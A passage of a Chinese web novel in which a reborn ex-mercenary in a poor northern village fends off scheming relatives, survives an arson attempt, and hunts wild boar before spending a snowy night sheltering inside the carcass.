“你爹死得早,有人生你没人教,要拿刀砍你奶奶啊! “猪狗生崽,崽子生下来还知道听爹妈话,你生下来就翻着白眼,活脱脱的一只白眼狼啊,你今天砍死我老婆子,老婆子我下去了,也好跟你爹说道说道……” 如果骂人有水平之分,那老太太这夹枪带棍,掰扯是非,一句比一句难听还不带重复的水平,绝对是这北方地界一等一的高手! 见识到这老婆子搬弄是非的能耐,陈虎眉头紧锁,一时之间,不知道该如何应付。 要让他陈虎扛着枪,去战场上给敌人免费送回老家,他在行。 但要是说敌人是个年过七旬,满口喷粪的老太太,就算前世身为雇佣兵传奇的陈虎,也一时之间,难以招架! 眼见着老太婆越骂越起劲,陈虎不由得满心诽谤: 谁说的“秀才遇上兵,有理说不清”? 古人欺我! 就在老太婆嘴中输出不断时,门却被径直推开了! 第一卷 第11章 原来豺狼也会落泪! 门外老二家独苗陈乾,缩头缩脑的走了进来。 这陈乾比起陈虎小了两岁,半大小子长得却是比陈虎圆润,肥硕的脑袋再加上满脸爆痘,眯成缝的小眼睛下面,还挺着个滚圆肚皮。 活脱脱就是一只养肥了的年猪! 老太婆见到自家宝贝孙子,这才停下了攻势,有些诧异的出声: “乖孙,你咋就过来了?你爸妈呢?” 陈乾缩着脑袋,一双小眼睛滴溜溜的在屋里面打转,在看了一圈,没见着他心心念念的人后,这才冲着老太婆,一脸不满道: “奶奶,陈瑶呢?” “不是说今晚带陈瑶过去给我做媳妇儿吗?” 此言一出,好家伙,就是老太太也直接不敢再吭声了! 屋子里面先前的火药味尽数消散,转而替代的则是陈虎那双眸子里面,所迸发出的汹涌杀意! 杨蓉也是整个人愣住。 她听到了什么? 要自家囡囡,给老二家儿子做媳妇儿? 原本,陈乾为这事儿可算是闹了两天,又是绝食,又是哭闹不停。 心疼儿子、孙子的刘翠翠和老太太,也是急得不行。 后来,在陈虎这儿屡次吃瘪的陈厚,倒是想了个恶毒法子! 那就是让老太太把两个孩子接回家去,到时候,陈瑶给自家儿子玩玩,陈真则直接找个人家一送。 到时候,陈虎一家只要还惦记那小子,就不敢对陈厚咋样。 并且,反正杨蓉和陈虎见不到人,只要惦记人,就得往家里送东西。 不送? 不送的话,你杨蓉儿子要挨饿挨冻,那可对不住! 你陈虎能打,连亲叔叔也打? 不好意思! 你碰我陈厚一下,你弟弟就得挨一顿毒打! 这主意打陈厚的嘴里面说出来,老太婆和刘翠翠都应了下来,毕竟自家宝贝儿子、孙子都绝食了。 有啥比这更重要? 只不过老太太也没想到,陈乾在得到允诺后,心急便偷摸跟了过来。 并且,貌似这小子来得太急,把脑子落在了家里…… 屋内死水一般安静,并未持续太久,最终在杨蓉一声凄厉的喊叫声中打破! 她瘦弱的身子不断颤抖着,眼里蓄着泪光,又带着愤恨,抬手指向老太太: “你……你给我,给我滚出去!” 老太太在短暂失神后,不知道搁哪儿又来了底气,阴恻恻的“哼”了一声: “杨蓉!当真是什么娘教什么儿!” “来一趟儿子家,被儿媳、被孙子撵啊!” “贱人养了个贱种,勾引我乖孙……” 陈虎此刻已然处于爆发边缘,轻拍母亲后背安抚之后,没有理会那老太太,目光凶狠地径直看向门口的陈乾。 老太婆见状,嘴上叫嚷得更为起劲,并且直接站过来,挡在了陈乾的跟前: “今天我把话撂这儿了!老太婆我也是看老大走了,你们一家子没啥光景可盼!” “干脆你家那赔钱货过继给老二家,不然……” 杨蓉神情激动,指着老太婆的手,抖个不停: “你闭嘴!你全家都是赔钱货!” 陈虎没心思再听老太婆叫嚷,没有任何征兆,直接一个箭步上前,迅速绕开老太太后,来到陈乾的跟前。 紧跟着,陈虎便是抬腿一脚! 这一脚的力道可不算小,陈乾那肥硕的身子,直接重重的砸在地上! 随着一声“砰”的巨响,陈乾便躺在地上,发出了凄厉的哭嚎! 这动静,比起年关杀年猪时,简直不遑多让! 老太太眼见着宝贝孙子被打,也是直接就红了眼,发疯似地就朝着陈虎冲去,双手乱舞,活脱脱的一只发了疯的野狗! 陈虎这时头也不回,直接走上前去,一脚踩在了这鬼嚎的陈乾的嘴上,顺手又从门口墙上,取下了家里的那柄镰刀。 原本满是锈迹的镰刀,在陈虎打磨过后,黝黑反光,刀刃锋利分层,闪烁着寒光。 陈虎将镰刀指着陈乾,冷冷的甩下一句话: “再狗吠我就给他阉了!” 正发疯要扑上来的老太太听到陈虎这话,仅一瞬间就定在了原地,不敢再出声,浑浊的老眼直勾勾盯着陈虎手中的镰刀,急得眼泪都落了下来。 陈虎看着眼前的一幕,心中不由得冷笑。 谁能信? 原来豺狼也会落泪! “小虎啊!别冲动!” “你弟弟是你二叔家唯一的独苗,你要动手了,你二叔就绝种了啊!” 听着老太婆的求饶声,陈虎丝毫不为所动。 他的目光向下,看着脚底下被踩着嘴,发不出声,还不断扭动身子挣扎的陈乾。 心底却是暗自盘算着。 的确,眼下他下手,丝毫不害怕二叔那孬种有胆量报复自己。 这死肥猪打着这般龌龊的心思,也的确该死! 但做人唯有千日做贼,哪儿有千日防贼的道理? 更何况,他的家里还有弟弟妹妹和娘亲…… 陈虎最终平复了情绪,松开脚,收起镰刀。 他抬头望向老太太,冷冷道: “带上他滚!再让我看见他,我一定给这猪狗给阉了!” 老太太急忙上前,折腾着一把老骨头,费力的将死猪从地上扶了起来。 陈乾嚎啕大哭不止,老太太也识趣的不敢再叫骂,拉着陈乾便夺门而去。 陈虎死死盯着离去的一老一少两个畜生,他的心中,也有一个计划开始缓缓酝酿。 的确,做人不能千日防贼,所以该做贼的时候,手软不得! 待到二人走后,杨蓉激动的情绪,总算是逐渐平复。 屋里早已被外面的动静,吓得不知所措的两个小家伙,也在风波平息后,走了出来。 两个小家伙见着老太太和陈乾走后,当即就扑进了杨蓉的怀里。 陈虎走上前,相继摸着弟弟妹妹的头,轻声开口道: “没事的!有哥哥在,都没事的!夜深了,你们都洗洗睡觉吧!” 杨蓉紧紧抱着兄妹二人,眼泪止不住的往下掉。 她既庆幸又难过,若不是先前陈虎出声阻止,说不定眼下陈瑶就已经被老太太带走了! 小囡囡的头上,扎着两个丸子,一张小脸上红扑扑的,两只大眼睛扑闪扑闪的写满了愧疚。 她刚才听到了外面争吵声。 知道先前的吵闹,是因为自己。 小囡囡趴在杨蓉的怀里,转头望向陈虎,奶声奶气道: “哥哥,是囡囡做错事,闯祸了吗?” 听到小囡囡满是自责的声音,杨蓉忍不住将小家伙抱得更紧了些。 陈虎则果断摇头,否定道: “囡囡很乖!囡囡没犯错,他们是坏人,是坏人的错!” 陈虎看着小囡囡的模样,只觉得自己的心都快要化了。 再想到老太婆一口一个“赔钱货”,更是忍不住在心底一阵怒骂。 第一卷 第12章 完全不打算给人留下一点活路 陈瑶似懂非懂的点了点头,接着又问: “哥,刚才我听到奶奶说,要让我嫁给堂哥,真的吗?” 陈虎安抚着小家伙,摇头应道: “怎么会?他们再上门哥哥就全部打跑,囡囡还小,哪儿也不去,更不会去坏人那儿。” “哥哥最好了!” 陈瑶张开手,扑进了陈虎怀里,接着又问: “哥,妈妈说爸爸出远门挣钱了,还说等囡囡长大,长大以后,结婚生子了爸爸就会回来,囡囡什么时候才能长大啊?” 陈虎闻声不由怔住,想到原主父亲因为帮二叔家修葺羊圈被砸死,不禁让心中酝酿的计划更为坚定几分。 “囡囡听话,多吃饭长身体,很快就会长大了……” 另一头,领着陈乾回到家中的老太太气急败坏,扯着刘翠翠就是一通乱骂。 “连人都看不住!你还当什么妈?你知不知道……” 陈厚与刘翠翠见着自家儿子的脸上一个硕大脚印,哭得上气不接下气,也是心疼的打紧,急忙追问原委。 在得知事情经过后,刘翠翠也是一把鼻涕一把泪,怨言不断。 陈厚则看着自家独苗被打成这样气得浑身发抖,眼中满是阴狠之色! 就在陈厚家里鸡犬不宁时,杨蓉已经照顾着两个孩子睡下。 陈虎则孤坐在堂屋,一个人静静思索着如何解决眼下的诸多难题。 针对物质需求方面,他能依靠打猎解决。 但家里母亲和弟弟妹妹们,被人惦记上,这属实是个难题。 思索间,陈虎拿起了那柄土枪,心中隐隐有了决断! 这一晚后半夜,下了一场大雪,陈虎睡在偏房。 后半夜时,本就习惯了浅睡的陈虎,突然被一阵动静惊醒! 屋外风声呼啸,却不合常理的传来了一阵脚步声。 地上铺着积雪时,人踩在雪面上会发出“噗嗤”声响,虽然微弱,但对于陈虎而言,却能够轻易察觉! 陈虎当即起身,蹑手蹑脚将耳朵凑到土墙上,细细听着屋外动静。 屋外脚步声不断,不出片刻,陈虎听到了屋外脚步声匆匆远去的势头,并闻到了一股烟火味。 陈虎心中一惊,急忙起身出门查看。 这一看,陈虎可算惊骇不已,眼见着院子里堆在房檐下的那堆木柴,正燃着一簇小火苗! 要知道这屋子不过是黄泥和木头搭建,干草封顶。 这要是燃起来,冬日空气干燥,片刻功夫,火势便不可能控制住! 陈虎没有丝毫犹豫,捧起地上积雪便盖到了木柴上,反复几次后,他又不放心踩了几脚。 这火苗总算被扼杀在了萌芽状态。 解决完这一切后,陈虎看着脚印离去的方向,忍不住咬牙切齿。 几个小时前,老太太才带着挨了打的陈乾回去。 半夜就有人来这儿放火,是谁干的不言而喻。 陈虎最终没有声张,料想陈厚那怂蛋大概率今晚不会再回来后,转身回了屋里,躺下接着休息。 这场雪直到天明时分,雪才停下。 积雪堆了半尺厚,屋外本来化雪大半的地界,又成了白茫茫一片。 天是愈发冷了。 北方入冬早,开春晚,一年中寒冷气候占据半数。 陈虎天蒙蒙亮便起了身,开门看到这积雪厚度,当即便明了今日进不了山。 他并未告知正在忙活做早饭的杨蓉昨晚半夜有人纵火的事儿。 简单吃过早饭后,陈虎拎着那杆土枪去了镇上。 雪太厚,道路完全被厚重积雪盖住,这一路并不好走。 直到午后,陈虎才走到镇上。 到了镇上后,他径直去了镇子西边那家赌场。 正是与他有过冲突,那位豹爷的场子! 这场子不算大,走近一个寻常院子,院子里面是一处土墙瓦房,瓦房里面全部打通,里面摆放着一张张桌子,桌上还散落着各种纸牌、麻将什么的。 这个时间点不是赌场营业的时候,场子里没见着人,陈虎走了一圈,才瞅见角落处一个男人裹着被子躺在几块木板搭建的简陋床上。 陈虎抬腿踹了一脚木板床。 床上被惊醒的男人,码着脸睁眼正打算破口大骂,却瞧见床边站着个少年,少年背上还背着一把土枪。 男人酝酿的脏话当即就咽了回去,爬起身警惕看着陈虎,询问道: “后生,来这整啥?” 陈虎瞥了这男人一眼,毫不客气开口道: “去找你们豹爷,跟他说陈家沟陈虎找他,他要不认识,就说我是陈二狗侄子。” 男人一听陈虎自报的名头,眼中流露出难以置信的神色。 陈二狗侄子? 那不就是猎了一头熊瞎子,还让豹爷吃了瘪的那狠人? 男人当即不敢过多吭声,起身鞋都没穿便跑了出去。 不多时,男人领着那位豹爷,回到了场子。 豹爷一进门,便见到了背着土枪坐在牌桌上悠哉悠哉晃着腿的陈虎。 豹爷冷着脸,出声质询: “小子,咱们的事儿那日便过了,我不找你麻烦,你还敢上门找茬?只怕有点儿欺人太甚了吧?!” 陈虎闻声打牌,从桌上一跃而下,拍了拍手上前,轻笑着出声道: “豹爷说笑了,我这泥腿子怎么会来找茬?” “这不,有个生意想着和豹爷合计合计。” 豹爷见状眉头一挑,脸上那道狰狞刀疤也随之抖动,饶有兴致的看了一眼跟前陈虎: “生意?听说你那熊皮不卖,熊胆卖给了孙老,你还有什么生意打算做?” 陈虎不急不缓的说出了此行目的。 不多时,在听完陈虎说出所谓“生意”后,这位豹爷脸上神色十分精彩。 “你小子,倒真是心黑手脏,完全不打算给人留下一点活路。” “豹爷说笑了,要不是昨晚恰好没睡,保不齐一把火烧起来,今天也站不到你跟前。” 豹爷若有所思的看了陈虎一眼,思虑片刻后,点了点头道: “可以按你说的办,你这后生,也很对我的胃口,考不考虑来跟着我做事?保你一家吃喝不愁!” 陈虎摇了摇头,语气平淡道: “我还是合适去山里和野兽打打交道,豹爷往后要是想吃野味,知会一声我可以托人送来,价格绝对公道。” 豹爷闻言大笑出声,拍了拍陈虎的肩膀:“好说!都好说!” 第一卷 第13章 这狼崽子可不会那么好心! 离开赌坊后,陈虎又去了镇上铁匠铺。 铺子里的师傅一听来的这后生自报来头,当即就十分热络着将人给招呼了进去。 陈虎见此情景,也是有些不解,笑问道: “师傅,你这是知道我?” 打铁师傅名叫唐立,是个正值壮年的威猛汉子,招呼热茶后,拍着陈虎的肩膀,大笑着: “你这后生最近可是名头很大啊!能猎熊瞎子,还让豹爷吃瘪,镇上谁不知道你陈虎?” 唐立说话间,眼神不断扫过陈虎身上的这件毛袄,眼里闪着亮光。 纯正、新鲜的熊皮,这点儿眼力见,他还是不缺的。 陈虎也注意到了唐师傅的目光,当即也不打算客气,直接说明了来意: “我需要几个捕兽夹,还有一把短刀。” “捕兽夹可以糙一些,重要的是得大,而那短刀既要有分量,更要锋利!” “不过,事先说好,我眼下身上没钱,结钱得等上半月。” 唐立没带犹豫,便答应下来,并且说明了价格: “不收利息!刀收材料费和加工费一块二,捕兽夹五个,一个两毛,加一起共计是两块二,不二价!” 价格还算公道,陈虎也是当即应下。 唐立自然是明白人,陈虎虽说赊账,可单是他身上这件正宗的熊皮毛袄,都不止两块钱。 自是十分痛快! 陈虎见谈妥,接着眉头一挑,面带微笑,询问出声: “唐师傅,我想要现货!” 这一带的居民世世代代都以渔猎、农耕为生,捕兽夹并不算稀罕物,自是有存货。 至于短刀这铁匠铺也有打好的刀胚,简单打磨后就可以带走。 拿到物件后,陈虎签了个字据,便折返回了家里。 到家时天色渐晚,回到家时,母亲已经炖好了肉汤,陈虎却不赶着吃饭,反倒让杨蓉给自己取个二十斤熏肉。 杨蓉满是不解,眼见着陈虎接过熏肉,就往外走急忙叫住: “小虎,你这是作甚取去?天色晚了,先吃饭,有啥事明儿再去。” 陈虎头也没回应道: “妈,你们先吃!我去半个钟头就回来,很快的!” 说完人就没了影。 走出门后,陈虎沿着记忆中的路线,穿过几乎人家,朝着村北边赶去。 取肉不为了吃,自然是打算送人。 只不过当这块熏肉被扔在正主家桌上时,这一大家子都躲得远远的,看着眼前陈虎满是警惕,像是在看一尊瘟神。 陈虎斜眼瞅着这一大家子共计四口人,冷冷出声道: “我妈让我送来的熏肉,权当是喂了狗,往后少往我家窜门。” 撂下一句话,放下一块肉,陈虎头也不回出了门折返回家。 只剩下陈厚一家子满脸不解望着虚掩的门,和那块飘着香味的熏肉。 没错! 陈虎走这一遭就为了给他那良心被狗吃了的二叔和奶奶一家子送块熏肉。 眼见着陈虎走了,心虚到腿都打摆子的陈厚,这才上前走出门查看。 他昨晚放完火,还想着是雪太大没燃起来,可今天一见到陈虎上门,甚至于连要不要跪下求饶都想好了。 结果,这狼崽子就这么走了? 确认陈虎走远,这才骂骂咧咧的关上门,回到桌前: “狗娘养的龟儿子!今天抽风了这么好心?” 刘翠翠紧紧抱着自家胖儿子,也是撇嘴不屑道: “把我家乾乾打成这样,这天杀的是剩下那点儿良心痛了吧!这才送肉过来。” 老太太则冷着脸,拿着拐杖一个劲儿的往地上杵: “他不是说了是杨蓉让送来的!” “这狼崽子可不会那么好心!” “杨蓉也是白瞎,家里几百斤肉,就送来这一挂,当真是没半点儿良心!” 几人骂骂咧咧不断,倒是陈乾看着熏肉,直接挣脱开刘翠翠怀抱,小跑到桌前盯着熏肉,就忍不住直咽口水。 刘翠翠见状,走上前轻抚着陈乾肥硕的脑袋,安抚道: “儿子乖,妈这就去给你炖肉!” 陈乾却全然听不进去,鼓囊的腮帮子一动一动,一把捧起熏肉,直接就一口咬下。 回去路上,陈虎自然不知自己正挨这一大家子轮番的骂。 不过,一想到自己要把猎物连着送给二叔一家子,他就忍不住心疼的打紧。 喂猪还能杀年猪吃肉,但喂了白眼狼,打死了狼还嫌弃肉臭! 这一晚无事发生,次日清晨。 陈虎迷迷糊糊间,被小囡囡一声声“哥哥”给叫醒。 睁开眼,陈虎便瞅见了站在自己床边,正抓着自己手,摇晃个不停的陈瑶。 “怎么了囡囡?今天起那么早!” 陈瑶小手抓着陈虎的两根手指,奶声奶气的笑个不停: “哥哥睡懒觉,妈妈都做好早饭了,快起床啦!” 陈虎看了眼窗外天色,已经大亮,这才急忙翻身起床。 带着陈瑶来到餐桌前,桌上腌菜和炖肉都做好了,杨蓉一边分发筷子,一边慈和笑道: “你哥哥这几日累了,你就不让他多睡会儿?” 陈虎心中不免一阵感慨,换做前世,自己早已习惯了浅睡,时刻保持着警惕,怎么会有被人叫醒这种经历? 能睡得这般沉,只能是因为处于一个温馨的家中,让自己有了足够安全感才是! 陈瑶委屈巴巴的望了陈虎一眼,陈虎嘴角挑起一个幅度,抬手轻轻摸着小家伙的头道: “哪儿有的事儿?囡囡这是懂事,知道哥饿了,叫哥起床吃饭呢!” 陈瑶闻言,当即笑逐颜开,乐呵着夹肉分别往陈虎和杨蓉的碗里去。 一旁的陈真这小鼻涕冲见状,顿时就不乐意了,嚷嚷道: “我是二哥,你也要给我夹菜!” 小囡囡闻言,人小鬼大的白了陈真一眼,又接着夹了一块肥肉到了陈真碗里。 小鼻涕虫当即就乐呵着开吃,也不计较肥瘦,吃得极为开心。 陈虎在吃过早饭之后,收拾上昨天带回来的捕兽夹、短刀和土枪,又带了些熏肉,便出门了。 临行前,杨蓉还是照旧千叮咛、万嘱咐一定要注意安全,早些回来。 陈虎满口答应,离了家,直奔山林走去。 他沿着前日追踪到野猪窝的方向一路走去,临近时,老远便看到了那群野猪的动向。 这时段,山林里一片白雪茫茫,野猪黢黑的毛发在堆满积雪的林子里面十分晃眼。 陈虎远远看着,一番打量之后,沿着一条山涧,走到了一处山沟里。 第一卷 第14章 算你倒霉!也算我倒霉! 野猪喝水不算讲究,冬天能刨雪,溪水又被冻结,大概率不会找水源。 不过,作为杂食性动物,野猪的食谱除了能食用的野草,还有菌类以及虫子等等。 陈虎十分清楚其习性,换做天热时,找片野草丛或者水源布置野兽夹就十分合适。 但冬天鲜有野草长青,野猪也不会刻意来寻水源,那它们最大概率会经过的地方,就只有山沟! 山沟处乱石堆里面,多的是虫子。 陈虎寻到一处合适位置后,先后将捕兽夹一股脑的全部都放置在各个位置。 又捧来积雪掩盖,做好了标记。 忙完这些后,陈虎紧跟着绕道朝着山上走去。 此刻的野猪都游荡在山腰处,陈虎仔细听着它们动静,远远绕开朝着山脊,一端爬去。 绕开时,陈虎十分小心,生怕弄出动静,惊到这群野猪。 作为群居动物,这群野猪之中还有不少小猪崽,要是一不小心打了照面,陈虎十分明白,就眼下这装填弹药麻烦到不行的土枪,决计不可能保证他的安全! 山势不算太过陡峭,多是梯田状林地,一条山沟将这座山分作南北两端,野猪游荡在北端,陈虎则爬到了南端。 到了地方后,陈虎确信已经全然不会惊扰到这群野猪,当即开始忙碌着搬来柴火。 只见,他干净利落清理出一片空地,又搬来几个石头搭建出简易火炉。 紧跟着架上柴火,取出火柴点火。 不多时,一缕炊烟升起。 眼下已然过了正午,饥肠辘辘的陈虎忙活一上午后,当即取出熏肉,夹在火上烤制。 不多时,熏肉开始滋滋冒油,撒上一把盐,很快焦香味便引得人垂涎三尺。 待到熏肉两面都烤制到黝黑之中,带着金黄色泽,陈虎拿出那柄短刀,便将其切下一块,放进了嘴里。 熏肉肉质紧实,却并不柴。 再加上烤制得当,以及熊肉本身肉质包含脂肪,陈虎也不由地因这美味表现得犹未享受! 很快,一整块熏肉便被吃了个干净。 将火堆熄灭后,简单收拾下后,陈虎开始朝着野猪所在方位潜行过去。 可就在陈虎接近先前野猪所处地段后,却不见了这群畜生踪影。 看着雪地上纷乱的脚印,陈虎不由得心头一喜! 这野猪脚印就是沿着山沟走下去的! 陈虎当即沿着脚印,一路追踪下去。 可走着走着,陈虎便感到不对劲了。 看着地上新鲜的脚印,以及前方不足二百米设置陷阱位置。 虽然有着树木遮挡视线,但看脚印方向判断,这群野猪的的确确是按照陈虎最初设想路径下山。 可为何没有传来野猪踩到陷阱发出嚎叫? 陈虎带着疑惑,愈发谨慎朝着前面摸去。 片刻功夫,陈虎来到了布置陷阱位置,隔着老远,便瞅见了一个捕兽夹被触发。 他急忙上前,映入眼帘的一幕,让陈虎不由泄了气。 五个捕兽夹,最前方一个的确被触发了。 洁白的雪地上,那直径超过三十厘米的捕兽夹,夹住了一个猪仔。 两个巴掌合起来大小的猪仔,被捕兽夹锋利、尖锐的钉齿狠狠嵌入身子,鲜血撒了一地,早已没了呼吸。 陈虎满脸的无奈看向四周。 地上纷乱的脚印,在第一个捕兽夹位置转向,朝着两边延伸而去。 很显然,在一只猪仔踩到捕兽夹后,其余野猪都受了惊,慌乱朝着两边跑走了。 陈虎叹了口气,看着地上断气的猪仔,颇为失落: “怎么偏就是你这么个剥皮剔骨只够一顿的小崽子?罢了!算你倒霉!也算我倒霉!” 自言自语间,陈虎将捕兽夹撑开,取出那只猪仔。 随即,他寻来了一根藤条,简单将猪仔绑在腰间,这只小猪仔估摸着也就不足二十斤。 当然,蚊子再小也是肉。 随即,就在陈虎还思考着该打哪儿再寻个位置布置捕兽夹,尽早趁着天色,不算晚前下山时。 一旁的灌木之中,传出了一阵悉悉索索的动静。 陈虎急忙警惕,取出土枪装填弹药,指向灌木,死死盯着声音传出方向。 下一瞬,一头体型硕大,皮毛黢黑,体重大致超过三百斤的野猪,“嗖”的一下子就窜了出来! 陈虎只在刹那间,就做出了反应,板机扣动,只听“砰”的一声巨响,传遍山野。 伴随着枪响,数百颗钢珠自枪口散射而出。 强大的后坐力,让陈虎这具孱弱的身子一个趔趄,差点儿就摔倒在地。 而那头野猪在二十米开外被打中后,竟然只是身形一顿,接着继续冲锋上前! 短短一个呼吸的功夫,野猪周身便有多处渗出点点血迹。 陈虎眼见这头野猪冲了过来,当即扔下来不及装填弹药的土枪,抽出短刀,猛地劈了出去! 这时,野猪已然到了近前,短刀劈中它的脑袋,发出一声沉闷的响声。 陈虎顿觉虎口被震得发麻! 刀刃嵌入了这头野猪头上,而后野猪狠狠撞到了陈虎腹部,陈虎来不及多做反应,只觉腹部一阵剧痛,紧跟着向后倾倒。 好巧不巧,就在陈虎倒下的位置,脑袋碰上了一块石头。 他也直接闷哼一声,直接晕了过去。 临近傍晚,山下家里,杨蓉早已备好了晚饭,可左等右等,就是不见陈虎人影。 眼看着天色一点点的黑下去,杨蓉站到了门口,直勾勾看着进山方向,就这么干看着外面白茫茫一片,心中焦急万分! 桌上摆放着炖肉、腌菜以及香喷喷的米饭。 大米是今个儿杨蓉拿着自家熏肉找邻居换的,本想着今晚改善下伙食,却一直等到天色黑尽,也不见陈虎回来。 饭桌前,小鼻涕虫陈真早已饿得不行,看着饭桌上的饭菜,一个劲儿咽口水。 陈瑶则奶声奶气的又老城在在说道: “二哥,哥哥还没回来,不能吃,得等哥哥回来一起吃。” 陈真用力吸了下鼻涕,赶忙点头应声:“我知道!” 一直等到天黑不见陈虎回来,杨蓉忧心忡忡的进了屋,看着蹲在桌前的两个小家伙,勉强挤出个笑脸,安慰道: “你们哥哥可能耽搁了,很快就回来,囡囡和小真听话,先吃着,吃完自己睡觉,妈妈出门去找哥哥。” 第一卷 第15章 雪夜求生 陈瑶闻言,当即站起身,上前一把扯住杨蓉的衣角: “囡囡不吃,囡囡要和妈妈一起找哥哥。” 陈真也跟了上来,同样嚷嚷着要找哥哥。 杨蓉心里万分难受,却没表现出来。 看着不吃饭也不安分的两个孩子,最终放弃了出门找陈虎的念头,哄着两个小家伙吃完饭上床休息。 陈虎醒来时,天已经黑了。 感受着喉咙干涸,陈虎坐起身抓起一把雪,开始咀嚼。 冬日的积雪下,天黑了可见度也很高。 陈虎缓了好一阵,这才站起了身来。 在他腰间,那只小猪仔还悬挂着,只是冻得硬邦邦,双腿卷曲着,像是个装饰品。 陈虎将目光望向一旁,白日里那只袭击他的成年野猪正躺在一旁,周围一滩鲜血早已凝固。 这头野猪的额头上,还插着陈虎的短刀。 陈虎吐出一口浊气,隐隐有些后怕。 很显然,这头成年野猪脱离了大部队,兴许是受惊后跑散了,结果回来正撞见他将惨死的猪仔,挂在腰间。 他此刻也不由得心中庆幸万分,好在自己昏迷时没碰到什么肉食性动物。 否则的话,今天算是彻底交代在这儿了! 可回过神,一想到眼下情况,陈虎也不禁心凉了半截。 天色已经完全黑了,在这个大雪封山的时段,他没在昏迷时失温被冻死也是出奇。 可眼下想要下山,无异于痴人说梦! 积雪会让路况不明,再加上光线昏暗能见度低,以及体温下降和夜间没有引路的参照物。 任何一样都能让一个经验丰富的老猎人,葬身此处! 手脚的冰冷让陈虎很快脱离思考。 此刻,他的体温已然下降到了一个临界点,陈虎忍不住想起原主的死因。 他十分清楚,再不解决温,他将重蹈原主覆辙! 这时的陈虎,已经完全没有功夫处理这头野猪,他不断活动着僵硬的四肢,用脚扒拉开积雪,扫出了一片空地。 接着,又拾起那柄短刀,从树干上砍下一些较为干燥的枯树枝。 将树枝堆放在空地上后,陈虎取出燃火柴尝试点火。 随着一根火柴点亮,温暖的火光照耀到他的脸上。 这丝久违的温暖,让陈虎模糊的神智清醒些许,可兴许是柴火不够干燥的缘故,火柴燃尽也没能被点燃。 陈虎接着又取出一根火柴点燃。 可结果并没有什么不同。 接着是第三根、第四根,结局依旧如此。 感受着因为低温,而逐渐失去知觉的四肢,陈虎紧咬牙关,赶忙拿起短刀,割下了一小段身上毛袄作为引火物。 这一次,柴火终于顺利燃起。 随着浓烟和火苗出现,久违的温暖终于将陈虎包裹。 借着火堆休整片刻后,陈虎再度起身砍来更多木柴,接着又将腰间挂着的小猪仔取下,十分利落的剥皮、去掉内脏。 随后,他用木头搭了个架子,将猪肉整块架到了火上炙烤。 不多时,烤肉香味传出,陈虎用刀割下一块烤肉,放进嘴里。 从陈虎此刻狰狞的神色来看,就能显而易见判断出这味道有多难吃。 猪宰杀时没被放血,加上没有调料以及正规处理,简单烤制后腥臭无比,一口咬下去里面还夹生。 十分难以下咽! 但陈虎却仍旧一口气吃了大半! 他很清楚,没有这些热量,自己没任何可能撑到明天天亮下山。 解决完吃食后,庇护所同样是个大问题。 夜间的山区随着热辐射消散,气温会不断下降,即便是在夏日,高海拔地区夜间也会有临近零下的气温。 没有庇护所遮风保暖,仅靠着火堆也极为不现实。 当然,这对于野战技巧作为看家本领的陈虎而言,并不算困难。 只见,陈虎将目光投向了一旁野猪尸体,当即动手将其拖到了火堆边上。 而后只见他拿起短刀,径直将野猪的腹部,划开一道口子。 紧跟着,将内脏尽数掏出扔到一边雪地上。 等到内脏清除干净后,陈虎强忍着那股子腥臊味儿,直接钻进了猪肚子里面! 这头野猪体长超过一米五,陈虎钻进去蜷缩着身体,倒也能够挤下。 如此一来,有了野猪脂肪保温,加上火堆的提供热量,一切问题都被迎刃而解。 这一晚,陈虎害怕入睡后体温下降没敢合眼,就这么不时伸手出来给火堆添柴,一直鏖战到了天亮。 天色彻底亮开后,陈虎这才从猪肚子里面钻了出来。 而后他将昨晚吃剩的猪肉又简单烤制一会儿,吃完寻来藤条与树枝做成了拖车,拖拽着这头野猪,朝着山下走去。 杨蓉同样一整夜没合眼。 哄着两个孩子睡下后,一个人在堂屋,孤坐到了天亮。 忧心一整夜后,杨蓉早上给两个孩子简单做了吃食,便急匆匆托邻居张大妈帮忙照看孩子,自己则直奔着进山的方向而去。 临近正午时分,拖拽着猎物下山的陈虎,见到了满脸忧心进山的杨蓉。 杨蓉一见到陈虎一身血淋淋骇人模样,直接就忍不住哭着上前。 “小虎!小虎!你这是……你这是……” 看着自己儿子回来的杨蓉,本该高兴不已,可眼见着陈虎这满身腥臭,全是血迹,她也被吓得不知所措。 陈虎抹了把脸,僵硬笑出声: “妈,我没事,这是昨晚没来得及下山,刨开猪肚子睡了一晚才满是血。” 杨蓉上前抓起陈虎的双手,就上下打量,眼瞅着陈虎全须全尾,身上没带伤,这才安心下来。 “你昨晚给妈担心坏了!你真没有受伤哈?” 陈虎捣头如蒜: “没有!妈,你看,好着呢!” 彻底放下心来的杨蓉,这时才看到陈虎身后拖着的野猪。 这一看可给杨蓉吓了一大跳,直接倒吸了一口凉气。 嘶…… “小虎……这野猪,是你打的?” 陈虎“嗯”了一声,接着打断道: “妈,咱们先回去吧!这天又冷,我这还饿着。” 杨蓉急忙称是,然后上前接过陈虎手中的藤条,和他一起拖着野猪,往家里走去。 二人拖着猪肉,一路走回村里,沿途邻里村民看到二人,一个个都直了眼。 待到回家后,陈虎只觉得他被抽干了全部的力气,他仅仅只是简单洗漱,便倒头睡了过去。 第一卷 第16章 小孩子不准碰枪! 这一觉,陈虎睡了个天昏地暗。 等到清醒时,他望着窗外的昏暗天色,一边伸了个懒腰,一边嘀咕着:“天都黑了,我这是睡了一整天?” 屋里飘着饭菜香味,陈虎穿上衣服来到堂屋。 饭桌前,杨蓉已经备好了饭食,两个小家伙揉着眼,好似刚睡醒似的,一见着陈虎,都喜出望外喊道: “哥哥!” “哥,你终于醒了!” “哥,你咋睡了一天一夜了啊?” …… 在弟弟妹妹叽叽喳喳的询问声中,陈虎这才知道他竟是打昨日清晨回来,直接就睡到了眼下的次日早上。 杨蓉满眼心疼的看着陈虎,挥了挥手。吩咐两个小家伙去洗漱,又转身给陈虎递了块热毛巾。 陈虎接过毛巾,擦了把脸,顿感清醒不少。 杨蓉则弯着腰,给陈虎盛了满满一碗米饭,直到将米饭彻底压实,再装不下后,才递了过来: “小虎,累坏了吧?妈前天找你张大婶家换的大米,多吃些!” 陈虎看着自家母亲“盛满”的爱意,哭笑不得的接过碗。 这时候,两个小家伙也洗漱完回到餐桌前,安分端坐,开始吃饭。 这顿饭十分丰盛,除了炖煮的熊肉,还有腌菜下饭。 两个小家伙一边吃,一边问个不停: “哥,那么大头野猪,你是拿火枪打死的吗?” “哥,你那火枪我能拿来使使吗?” 陈真这小鼻涕虫自打陈虎买了这杆土枪后,一天天的魂都丢了。 